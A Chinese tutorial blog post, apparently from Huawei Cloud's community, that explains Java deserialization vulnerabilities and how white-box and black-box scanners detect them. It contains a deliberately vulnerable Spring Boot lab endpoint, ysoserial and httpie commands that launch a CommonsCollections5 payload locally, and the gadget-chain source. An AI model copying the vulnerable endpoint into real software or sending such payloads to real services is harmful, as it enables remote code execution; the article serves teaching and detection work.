写点什么

带你掌握 java 反序列化漏洞及其检测

发布于: 刚刚

​​摘要:在本文中将先介绍 java 反序列化漏洞的原理,然后在此基础上介绍安全工具如何检测、扫描此类漏洞。

 

本文分享自华为云社区《java反序列化漏洞及其检测》,作者: alpha1e0。

1、java 反序列化简介


java 反序列化是近些年安全业界研究的重点领域之一,在 ApacheCommons Collections 、JBoss 、WebLogic 等常见容器、库中均发现有该类漏洞,而且该类型漏洞容易利用,造成的破坏很大,因此影响广泛。


在本文中将先介绍 java 反序列化漏洞的原理,然后在此基础上介绍安全工具如何检测、扫描此类漏洞。

1.1 什么是反序列化


Java 序列化是指把 Java 对象转换为字节序列的过程,序列化后的字节数据可以保存在文件、数据库中;而 Java 反序列化是指把字节序列恢复为 Java 对象的过程。如下图所示:



序列化和反序列化通过 ObjectInputStream.readObject()和 ObjectOutputStream.writeObject()方法实现。


在 java 中任何类如果想要序列化必须实现 java.io.Serializable 接口,例如:


public class Hello implements java.io.Serializable {    String name;}
复制代码


java.io.Serializable 其实是一个空接口,在 java 中该接口的唯一作用是对一个类做一个 标记 让 jre 确定这个类是可以序列化的。


同时 java 中支持在类中定义如下函数:


private void writeObject(java.io.ObjectOutputStream out)       throws IOExceptionprivate void readObject(java.io.ObjectInputStream in)       throws IOException, ClassNotFoundException;
复制代码


这两个函数不是 java.io.Serializable 的接口函数,而是约定的函数,如果一个类实现了这两个函数,那么在序列化和反序列化的时候 ObjectInputStream.readObject()和 ObjectOutputStream.writeObject()会主动调用这两个函数。这也是反序列化产生的根本原因

例如:


public class Hello implements java.io.Serializable {    String name;    private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException {        Runtime.getRuntime().exec(name);    }}
复制代码


该类在反序列化的时候会执行命令,我们构造一个序列化的对象,name 为恶意命令,那么在反序列化的时候就会执行恶意命令。


在反序列化的过程中,攻击者仅能够控制“数据”,无法控制如何执行,因此必须借助被攻击应用中的具体场景来实现攻击目的,例如上例中存在一个执行命令的可以序列化的类(Hello),利用该类的 readObject 函数中的命令执行场景来实现攻击

1.2 反序列化漏洞示例复现


在这里我们构造一个有漏洞的靶场进行漏洞复现测试:使用 spring-boot 编写一个可以接收 http 数据并反序列化的应用程序。


使用 https://start.spring.io/ 生成一个 spring-boot 应用,选择 Maven Project、java8



下载到本地,导入 IDE,修改 pom.xml 加入 Apache CommonsCollections 3.1 依赖(该版本存在反序列化漏洞)


<dependency>  <groupId>commons-collections</groupId>  <artifactId>commons-collections</artifactId>  <version>3.1</version></dependency>
复制代码


修改 DemoApplication.java 为如下代码


package com.example.demo;
import java.io.IOException;import java.io.ObjectInputStream;import javax.servlet.http.HttpServletRequest;import org.springframework.boot.SpringApplication;import org.springframework.boot.autoconfigure.SpringBootApplication;import org.springframework.web.bind.annotation.PostMapping;import org.springframework.web.bind.annotation.RestController;import org.springframework.web.bind.annotation.GetMapping;
@SpringBootApplication@RestControllerpublic class DemoApplication { public static void main(String[] args) { SpringApplication.run(DemoApplication.class, args); }
@GetMapping("/hello") public String hello() { return "hello world"; }
// 反序列化接口 @PostMapping("/rmi") public String rmi(HttpServletRequest request) { try { ObjectInputStream ois = new ObjectInputStream(request.getInputStream()); Object obj = (Object) ois.readObject(); return "unmarshal " + obj.getClass().getName() + " ok"; } catch (ClassNotFoundException | IOException e) { return "unmarshal failed"; } }}
复制代码


此时我们就完成了一个有 Apache Commons Collections 漏洞的验证靶场,启动该靶场应用

我们使用 ysoserial 生成攻击 payload:


java -jar ysoserial-master-8eb5cbfbf6-1.jar CommonsCollections5 "calc.exe" > poc
复制代码


然后使用 httpie 发送攻击 payload(poc)


http post http://127.0.0.1:8080/rmi < poc
复制代码


这时候就可以看到 poc 中的命令执行了



1.3 反序列化漏洞解析


在 1.2 的示例中我们使用了 ysoserial 的 CommonsCollections5 这个 payload,本节我们对此 poc 进行分析


public BadAttributeValueExpException getObject(final String command) throws Exception {    final String[] execArgs = new String[] { command };    // inert chain for setup    final Transformer transformerChain = new ChainedTransformer(  // 执行“链条”该类的transform会调用transformer使用反射执行命令            new Transformer[]{ new ConstantTransformer(1) });    // real chain for after setup    final Transformer[] transformers = new Transformer[] {            new ConstantTransformer(Runtime.class),            new InvokerTransformer("getMethod", new Class[] {                String.class, Class[].class }, new Object[] {                "getRuntime", new Class[0] }),            new InvokerTransformer("invoke", new Class[] {                Object.class, Object[].class }, new Object[] {                null, new Object[0] }),            new InvokerTransformer("exec",                new Class[] { String.class }, execArgs),   // 这里是我们输入的命令 calc.exe             new ConstantTransformer(1) };
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); // 该类的get接口如果输入的key找不到会调用transform函数触发命令执行
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo"); // 该类的toString会最终调用lazyMap.get
BadAttributeValueExpException val = new BadAttributeValueExpException(null); // 最终反序列化的类,readObject会调用entry.toString Field valfield = val.getClass().getDeclaredField("val"); Reflections.setAccessible(valfield); valfield.set(val, entry);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
return val;}
复制代码


可以最终反序列化的对象为 javax.management.BadAttributeValueExpException ,在该类提供了 readObject 方法,在其中有问题的地方为


val = valObj.toString();
复制代码


这里的 valObj 为 TiedMapEntry(lazyMap, “foo”) ,该类的 toString 方法


public String toString() {    return this.getKey() + "=" + this.getValue();}
复制代码


其中 this.getValue 为


public Object getValue() {    return this.map.get(this.key);}
复制代码


而 this.map 为 lazyMap = LazyMap.decorate(innerMap, transformerChain),在 lazyMap 中


public Object get(Object key) {    if (!super.map.containsKey(key)) {  // 当找不到key的时候调用transform        Object value = this.factory.transform(key);        super.map.put(key, value);        return value;    } else {        return super.map.get(key);    }}
复制代码


在其中看到,没有找到 key 的时候,调用了 this.factory.transform(key)

而 this.factory 为我们构造的包含 payload 的执行链 transformerChain 该 transformer 会最终通过反射执行命令。

2、java 反序列化漏洞检测


在 1 中的原理介绍中,我们可以看到,反序列化漏洞需要依赖执行链来完成攻击 payload 执行。由于反序列化漏洞的特性,在检测的时候漏洞扫描工具一般聚焦已知漏洞的检测,而未知漏洞的检测,安全工具能力非常有限,一般需要专业人员通过安全审计代码审计等方式发现。


java 反序列化漏洞依赖于两个因素:

1.    应用是否有反序列化接口

2.    应用中是否包含有漏洞的组件

因此对应的漏洞扫描工具也需要根据这两个因素进行检测。

2.1 白盒工具检测


白盒代码审计工具,可通过在调用链中查找是否有发序列化的操作:

  • 调用链的入口不同框架是不同的,例如在 1.2 例子中调用链的入口为 spring-boot 的 controller。

  • 调用链中一旦发现有发序列化操作 ObjectInputStream.readObject()则该接口存在序列化操作


但仅仅依靠以上信息不足以判断是否存在漏洞,还需要判断代码中是否有存在*执行链**的三方依赖。在 java 中,一般通过分析 pox.xmlbuild.gradle 文件来分析是否包含有漏洞的组件。

2.2 黑盒漏洞扫描器检测


web 漏洞扫描器检测原理和白盒工具不一样。


首先漏洞扫描器要解决的是识别出反序列化的请求,在这里需要注意的是 web 漏洞扫描是无法通过爬虫方式直接发现反序列化接口的,因此往往需要配合其他 web 漏洞扫描器的组件(例如代理组件)来识别反序列化接口,如下图所示



如今 web 漏洞扫描器都提供了代理组件来发现应用的 http 请求,爬虫组件可通过前台页面触发请求进入代理组件;但在 API 场景下,还是需要测试人员进行 API 调用该操作才能够产生 http 请求数据。


在截获到 http 请求数据后,代理组件可以通过两种方式判断一个请求是否是序列化请求:

1.    通过 http 请求的 Content-Type,具体来说 ContentType: application/x-java-serialized-object 是序列化请求的请求头

2.    检查请求数据的开头是否是 0xaced,有时候序列化请求不存在正确的 content-type,此时需要根据数据来判断是否是序列化请求


在确定一个接口是序列化接口的时候会漏洞扫描器会发送探测 payload 判断接口是否有反序列化漏洞,这里的攻击 payload 类似于 1.2 节中使用的ysoserial 工具,由于绝大多数情况下不可能看到回显(http 返回数据没有攻击执行结果),因此只能进行盲注,即发送 sleep 10 这样的命令,根据响应时间判断是否有漏洞。


文末福利:华为云漏洞扫描服务 VSS 基础版限时免费体验>>>


点击关注,第一时间了解华为云新鲜技术~

发布于: 刚刚阅读数: 2
用户头像

提供全面深入的云计算技术干货 2020.07.14 加入

华为云开发者社区,提供全面深入的云计算前景分析、丰富的技术干货、程序样例,分享华为云前沿资讯动态,方便开发者快速成长与发展,欢迎提问、互动,多方位了解云计算! 传送门:https://bbs.huaweicloud.com/

评论

发布
暂无评论
带你掌握java反序列化漏洞及其检测